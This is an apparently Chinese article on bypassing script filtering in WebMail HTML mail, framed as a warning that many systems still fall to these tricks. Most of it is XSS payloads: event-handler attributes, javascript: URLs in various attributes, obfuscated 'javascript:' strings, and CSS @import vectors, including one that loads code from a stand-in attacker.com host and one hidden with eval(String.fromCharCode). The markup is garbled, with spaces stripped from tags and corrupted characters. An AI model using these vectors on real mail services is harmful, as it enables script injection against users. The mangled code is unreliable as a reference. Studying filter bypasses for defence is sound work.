鉴于脚本程序可能带来的危险,WebMail系统完全有必要禁止html邮件中的脚本程序。禁止脚本程序的基本做法就是过滤掉html源程序中能够使脚本程序运行的代码,如script元素等,在这方面做的最好的莫过于hotmail了。下面是些常见的绕过脚本程序过滤的方法,不少的WebMail系统仍然没有完全改正:
(1)在html语言里,除了script元素内的或在script元素内引入的脚本程序能在html页面装载时被运行外,使用事件属性也能调用脚本程序运行,事件属性在JavaScript语言里被称为事件句柄,用于对页面上的某个特定事件(如鼠标点击、表单提交)做出响应,驱动javascript程序运行。它的语法如下:
<tagattribute1attribute2onEventName="javascriptcode;">
例如:
| 以下为引用的内容: <bodyonload="alert('JavaScript#1isexecuted');"> <ahref="#"onclick="alert('JavaScript#2isexecuted');">Clickhere</a> <formmethod="post"action="#"onsubmit="alert('JavaScript#3isexecuted');"> <inputtype="submit"value="Submit"> </form> </body> |
<tagattribute="javascript:javascript-code;">
例如:
| 以下为引用的内容: <bodybackground="javascript:alert('JavaScript#1isexecuted');"> <ahref="javascript:alert('JavaScript#2isexecuted');">Clickhere</a> <formmethod="post"action="javascript:alert('JavaScript#3isexecuted');"> <inputtype="submit"value="Submit"> </form> <imgsrc="javascript:alert('JavaScript#4isexecuted');"> </body> |
| 以下为引用的内容: <body> <imglowsrc="ja;vasC;ript:alert('JavaScript#1isexecuted')"> <ahref="j;avA;sC;ript:;aler;t('JavaScript#2 i;ܾxecuted')">Clickhere;</a> <formmethod="post"action="javascript:alert('JavaScript#3is executed')"> <inputtype="S;ubmit"value="Submit"> </form> </body> |
| 以下为引用的内容: 例如:<styletype="text/css"> <!-- @importurl(javascript:alert('JavaScript#1isexecuted')); @importurl(http://www.attacker.com/js.css); --> </style> |
| 以下为引用的内容: @importurl(javascript:alert('JavaScript#2isexecuted')); @importurl(javascript:eval(String.fromCharCode (97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97, 108,101,114,116,40,39,84,101,115,116,32,50,39,41,59))); |